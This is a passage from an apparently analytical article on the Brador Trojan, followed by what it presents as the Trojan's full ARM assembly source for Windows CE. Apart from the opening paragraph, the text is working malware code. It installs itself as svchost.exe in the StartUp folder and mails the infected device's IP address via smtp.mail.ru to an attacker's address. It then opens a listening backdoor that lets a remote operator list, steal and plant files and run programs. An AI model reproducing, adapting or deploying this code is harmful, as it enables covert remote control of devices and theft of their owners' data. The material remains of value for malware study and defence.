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Source Code

As this article went to press, we were lucky enough to obtain the source code to the Brador Trojan through informants in the computer underground. We can now study the actual code to see whether our black box reverse engineering was accurate. Here, published for the first time, is the full source code to the first Windows CE Trojan.

; *******************************************************************************************
        INCLUDE wince.inc

        IMPORT CreateFileW
        IMPORT WriteFile
        IMPORT CloseHandle

        IMPORT WSAStartup
        IMPORT socket
        IMPORT ioctlsocket
        IMPORT bind
        IMPORT connect
        IMPORT select
        IMPORT gethostname
        IMPORT gethostbyname
        IMPORT inet_ntoa
        IMPORT recv
        IMPORT send
        IMPORT closesocket
        IMPORT listen
        IMPORT accept

        IMPORT ReadFile
        IMPORT FindFirstFileW
        IMPORT FindNextFileW
        IMPORT GetFileSize
        IMPORT CreateProcessW
        IMPORT MessageBoxW

        EXPORT _start

        AREA  .text, CODE
; *******************************************************************************************

; *******************************************************************************************
_start
        ;NOP                  ; remove this sh#t later

        ldr   R0, =trojname
        ldr   R1, =GENERIC_WRITE
        eor   R2, R2, R2
        eor   R3, R3, R3
        ldr   R4, =CREATE_NEW
        str   R4, [SP]
        ldr   R4, =FILE_ATTRIBUTE_NORMAL
        str   R4, [SP, #4]
        str   R3, [SP, #8]
        bl   CreateFileW          ; create \Windows\StartUp\svchost.exe
        mvn   R1, #0
        cmp   R0, R1
        beq   _skip_prelude         ; skip prelude if file exists

        str   R0, hFile

        ldr   R8, =4
        ldr   R7, =header_size
        eor   R6, R6, R6
        ldr   R1, =PE_header
_next_section
        ldr   R0, hFile
        ldrh  R2, [R7], #2
        ldr   R3, =SMTP_socket
        eor   R4, R4, R4
        str   R4, [SP]
        bl   WriteFile

        ldr   R1, =_start
        add   R1, R1, R6
        add   R6, R6, #0x1000

        subs  R8, R8, #1
        bne   _next_section

        ldr   R0, hFile
        bl   CloseHandle
_skip_prelude
        ldr   R0, =0x00310031
        ldr   R1, =PE_header
        bl   WSAStartup

        ldr   R0, =AF_INET
        ldr   R1, =SOCK_STREAM
        eor   R2, R2, R2
        bl   socket

        str   R0, SMTP_socket

        ldr   R1, =FIONBIO
        ldr   R2, =SMTP_socket
        bl   ioctlsocket

        ldr   R0, SMTP_socket
        ldr   R1, =local_sa_in
        ldr   R2, =local_sa_in_len
        bl   bind
_try_connect
        ldr   R0, SMTP_socket
        ldr   R1, =SMTP_sa_in
        ldr   R2, =SMTP_sa_in_len
        bl   connect

        ldr   R6, =timeout_large
        bl   proc_sock_wait_write

        tst   R0, R0
        beq   _try_connect

        ldr   R0, =hostname
        ldr   R1, =hostname_len
        bl   gethostname

        ldr   R0, =hostname
        bl   gethostbyname

        ldr   R0, [R0, #0xC]
        ldr   R0, [R0]
        ldr   R0, [R0]
        str   R0, local_sa_in+4
        bl   inet_ntoa

        ldr   R2, =victims_IP
_next_IP_digit
        ldrb  R1, [R0], #1
        strb  R1, [R2], #1
        tst   R1, R1
        bne   _next_IP_digit

        ldr   R1, =HELO
        ldr   R2, =HELO_len
        bl   proc_SMTP_send_recv

        ldr   R1, =MAIL
        ldr   R2, =MAIL_len
        bl   proc_SMTP_send_recv

        ldr   R1, =RCPT
        ldr   R2, =RCPT_len
        bl   proc_SMTP_send_recv

        ldr   R1, =DATA
        ldr   R2, =DATA_len
        bl   proc_SMTP_send_recv

        ldr   R1, =victims_IP
        ldr   R2, =victims_IP_len
        bl   proc_SMTP_send_recv

        ldr   R1, =QUIT
        ldr   R2, =QUIT_len
        bl   proc_SMTP_send_recv

        ldr   R0, SMTP_socket
        bl   closesocket
; *******************************************************************************************

; *******************************************************************************************
        ldr   R0, =AF_INET
        ldr   R1, =SOCK_STREAM
        eor   R2, R2, R2
        bl   socket

        str   R0, SMTP_socket

        ldr   R1, =local_sa_in
        ldr   R2, =local_sa_in_len
        bl   bind
_new_session
        ldr   R0, SMTP_socket
        ldr   R1, =5
        bl   listen

        ldr   R0, SMTP_socket
        eor   R1, R1, R1
        eor   R2, R2, R2
        bl   accept

        str   R0, victims_socket

        ldr   R1, =CON_EST
        ldr   R2, =CON_EST_len
        eor   R3, R3, R3
        bl   send

        ldr   R0, victims_socket
        ldr   R1, =FIONBIO
        ldr   R2, =victims_socket
        bl   ioctlsocket
_recv_loop
        ldr   R6, =timeout_small
        bl   proc_sock_wait_read      ; wait new commands

        tst   R0, R0
        bgt   _cmd_recvd
_cmd_fin
        ldr   R0, victims_socket
        ldr   R1, =mes_CLOSE
        ldr   R2, =mes_CLOSE_len
        eor   R3, R3, R3
        bl   send

        ldr   R0, victims_socket
        bl   closesocket

        b    _new_session
_cmd_recvd
        ldr   R0, victims_socket
        ldr   R1, =PE_header
        ldr   R2, =PE_header_size
        eor   R3, R3, R3
        bl   recv

        ldrb  R0, PE_header
        ldr   R1, =cmd
_try_next_cmd
        ldrb  R2, [R1], #1
        cmp   R0, R2
        bne   _try_next_cmd

        ldr   R0, =cmd+1
        sub   R1, R1, R0
        ldr   R3, =cmd_table
        ldr   PC, [R3, R1, LSL #2]
; *******************************************************************************************

; *******************************************************************************************
_cmd_dir
        ldr   R0, =PE_header+4
        ldr   R1, =PE_header+0x200      ; WIN32_FIND_DATA
        bl   FindFirstFileW

        tst   R0, R0
        beq   _no_more_files

        str   R0, hFindFile
_find_next
        ldr   R3, =PE_header+0x200+0x28
        ldr   R4, =PE_header
_next_path_char
        ldrb  R2, [R3], #1
        tst   R2, R2
        beq   _maybe_last
        strb  R2, [R4], #1
        b    _next_path_char
_maybe_last
        ldrb  R2, [R3]
        tst   R2, R2
        bne   _next_path_char

        ldr   R0, =0
        strb  R0, [R4]

        ldr   R0, victims_socket
        ldr   R1, =PE_header
        sub   R2, R4, R1
        eor   R3, R3, R3
        bl   send

        ldr   R0, hFindFile
        ldr   R1, =PE_header+0x200      ; WIN32_FIND_DATA
        bl   FindNextFileW

        tst   R0, R0
        bne   _find_next
_no_more_files
        eor   R3, R3, R3
        str   R3, PE_header
        ldr   R0, victims_socket
        ldr   R1, =PE_header
        ldr   R2, =4
        bl   send              ; send "Final entry"

        b    _recv_loop
; *******************************************************************************************

; *******************************************************************************************
_cmd_get
        ldr   R0, =PE_header+4        ; filename to get
        ldr   R1, =GENERIC_READ
        eor   R2, R2, R2
        eor   R3, R3, R3
        ldr   R4, =OPEN_EXISTING
        str   R4, [SP]
        ldr   R4, =FILE_ATTRIBUTE_NORMAL
        str   R4, [SP, #4]
        str   R3, [SP, #8]
        bl   CreateFileW          ; try to open file

        tst   R0, R0
        beq   _recv_loop

        str   R0, hFile

        eor   R1, R1, R1
        bl   GetFileSize

        str   R0, PE_header

        ldr   R0, victims_socket
        ldr   R1, =PE_header
        ldr   R2, =4
        eor   R3, R3, R3
        bl   send              ; send filesize

_send_next_file_part

        ldr   R0, hFile
        ldr   R1, =PE_header
        ldr   R2, =PE_header_size
        ldr   R3, =fd_set
        eor   R4, R4, R4
        str   R4, [SP]
        bl   ReadFile            ; read part of file

        ldr   R2, fd_set
        tst   R2, R2
        beq   _get_EOF            ; file ends

        ldr   R0, victims_socket
        ldr   R1, =PE_header
        eor   R3, R3, R3
        bl   send              ; send next file part

        b    _send_next_file_part
_get_EOF
        ldr   R0, hFile
        bl   CloseHandle

        b    _recv_loop
; *******************************************************************************************

; *******************************************************************************************
_cmd_put
        ldr   R0, =PE_header+4        ; filename to put
        ldr   R1, =GENERIC_WRITE
        eor   R2, R2, R2
        eor   R3, R3, R3
        ldr   R4, =CREATE_ALWAYS
        str   R4, [SP]
        ldr   R4, =FILE_ATTRIBUTE_NORMAL
        str   R4, [SP, #4]
        str   R3, [SP, #8]
        bl   CreateFileW

        tst   R0, R0
        beq   _recv_loop           ; can't create file

        str   R0, hFile

        bl   proc_send_OK          ; send ACK

        ldr   R6, =timeout_tiny
        bl   proc_sock_wait_read      ; wait filesize

        ldr   R0, victims_socket
        ldr   R1, =PE_header
        ldr   R2, =PE_header_size
        eor   R3, R3, R3
        bl   recv              ; recv filesize

        ldr   R7, PE_header
        mov   R7, R7, LSR #10
        add   R7, R7, #1           ; R7=parts count

_get_next_file_part

        ldr   R6, =timeout_tiny
        bl   proc_sock_wait_read      ; wait next file part

        tst   R0, R0
        beq   _put_error

        ldr   R0, victims_socket
        ldr   R1, =PE_header
        ldr   R2, =PE_header_size
        eor   R3, R3, R3
        bl   recv

        mov   R2, R0
        ldr   R0, hFile
        ldr   R1, =PE_header
        ldr   R3, =fd_set
        eor   R4, R4, R4
        str   R4, [SP]
        bl   WriteFile

        subs  R7, R7, #1
        bne   _get_next_file_part

        bl   proc_send_OK
_put_error
        ldr   R0, hFile
        bl   CloseHandle

        b    _recv_loop
; *******************************************************************************************

; *******************************************************************************************
_cmd_mes
        eor   R0, R0, R0
        ldr   R1, =PE_header+4
        ldr   R2, =mestit
        mov   R3, #MB_OK
        bl   MessageBoxW

        bl   proc_send_OK

        b    _recv_loop
; *******************************************************************************************

; *******************************************************************************************
_cmd_run
        ldr   R0, =PE_header+4
        eor   R1, R1, R1
        eor   R2, R2, R2
        eor   R3, R3, R3
        mvn   R4, #0
        str   R4, [SP]
        ldr   R4, =CREATE_NEW_CONSOLE
        str   R4, [SP, #4]
        str   R3, [SP, #8]
        str   R3, [SP, #0xC]
        str   R3, [SP, #0x10]
        ldr   R4, =PE_header+0x200      ; PROCESS_INFORMATION
        str   R4, [SP, #0x14]
        bl   CreateProcessW

        tst   R0, R0
        beq   _cmd_run_error

        bl   proc_send_OK
_cmd_run_error
        b    _recv_loop
; *******************************************************************************************

; *******************************************************************************************
proc_SMTP_send_recv
        mov   R7, LR

        ldr   R0, SMTP_socket
        eor   R3, R3, R3
        bl   send

        ldr   R6, =timeout_tiny
        bl   proc_sock_wait_read

        ldr   R0, SMTP_socket
        ldr   R1, =PE_header
        ldr   R2, =PE_header_size
        eor   R3, R3, R3
        bl   recv

        mov   PC, R7
; *******************************************************************************************

; *******************************************************************************************
proc_sock_wait_read
        mov   R5, LR

        ldr   R0, =fd_set
        ldr   R1, =1
        str   R1, [R0]

        eor   R0, R0, R0
        ldr   R1, =fd_set
        eor   R2, R2, R2
        eor   R3, R3, R3
        mov   R4, R6
        str   R4, [SP]
        bl   select

        mov   PC, R5
; *******************************************************************************************

; *******************************************************************************************
proc_sock_wait_write
        mov   R5, LR

        ldr   R0, =fd_set
        ldr   R1, =1
        str   R1, [R0]

        eor   R0, R0, R0
        eor   R1, R1, R1
        ldr   R2, =fd_set
        eor   R3, R3, R3
        mov   R4, R6
        str   R4, [SP]
        bl   select

        mov   PC, R5
; *******************************************************************************************

; *******************************************************************************************
proc_send_OK
        mov   R5, LR

        ldr   R0, victims_socket
        ldr   R1, =mes_OK
        ldr   R2, =mes_OK_len
        eor   R3, R3, R3
        bl   send

        mov   PC, R5
; *******************************************************************************************


; *******************************************************************************************
;        DATA

        ALIGN

PE_header    SPACE  0x400
PE_header_size equ   .-PE_header

header_size   dcw   0x400
text_size    dcw   0xE00
rdata_size   dcw   0x200
data_size    dcw   0x200

hFile      dcd   0
hFindFile    dcd   0

trojname    dcb   0x5C,0,"W",0,"i",0,"n",0,"d",0,"o",0,"w",0,"s",0,0x5C,0,             "S",0,"t",0,"a",0,"r",0,"t",0,"U",0,"p",0,0x5C,0,             "s",0,"v",0,"c",0,"h",0,"o",0,"s",0,"t",0,".",0,"e",0,"x",0,"e",0,0,0

        ALIGN

hostname    SPACE  0x10
hostname_len  equ   .-hostname

fd_set     dcd   1
SMTP_socket   dcd   0
victims_socket dcd   0

SMTP_sa_in   dcw   AF_INET
        dcw   0x1900             ; SMTP port
        dcd   0x6F1743C2           ; smtp.mail.ru
        SPACE  8
SMTP_sa_in_len equ   .-SMTP_sa_in

local_sa_in   dcw   AF_INET
        dcw   0xAD0B             ; victims port
        dcd   0               ; victims IP
        SPACE  8
local_sa_in_len equ   .-local_sa_in

timeout_large  dcd   3600              ; wait 60 min
        dcd   0

timeout_small  dcd   600              ; wait 10 min
        dcd   0

timeout_tiny  dcd   60               ; wait 1 min
        dcd   0

victims_IP   SPACE  0x10
        dcb   0xD,0xA,".",0xD,0xA
victims_IP_len equ   .-victims_IP

HELO      dcb   "HELO victim",0xD,0xA
HELO_len    equ   .-HELO

MAIL      dcb   "MAIL FROM:br@mail.ru",0xD,0xA
MAIL_len    equ   .-MAIL

RCPT      dcb   "RCPT TO:brokensword@ukr.net",0xD,0xA
RCPT_len    equ   .-RCPT

DATA      dcb   "DATA",0xD,0xA
DATA_len    equ   .-DATA

QUIT      dcb   "QUIT",0xD,0xA
QUIT_len    equ   .-QUIT

CON_EST     dcb   "Connection established", 0
CON_EST_len   equ   .-CON_EST

mestit     dcb   "H",0,"i",0,0,0

mes_OK     dcb   "OK",0
mes_OK_len   equ   .-mes_OK

mes_ERR     dcb   "Error", 0
mes_ERR_len   equ   .-mes_ERR

mes_CLOSE    dcb   "Connection closed", 0
mes_CLOSE_len  equ   .-mes_CLOSE

cmd       dcb   "d","g","r","p","m","f"

        ALIGN

cmd_table    dcd   _cmd_dir
        dcd   _cmd_get
        dcd   _cmd_run
        dcd   _cmd_put
        dcd   _cmd_mes
        dcd   _cmd_fin
; *******************************************************************************************

        END
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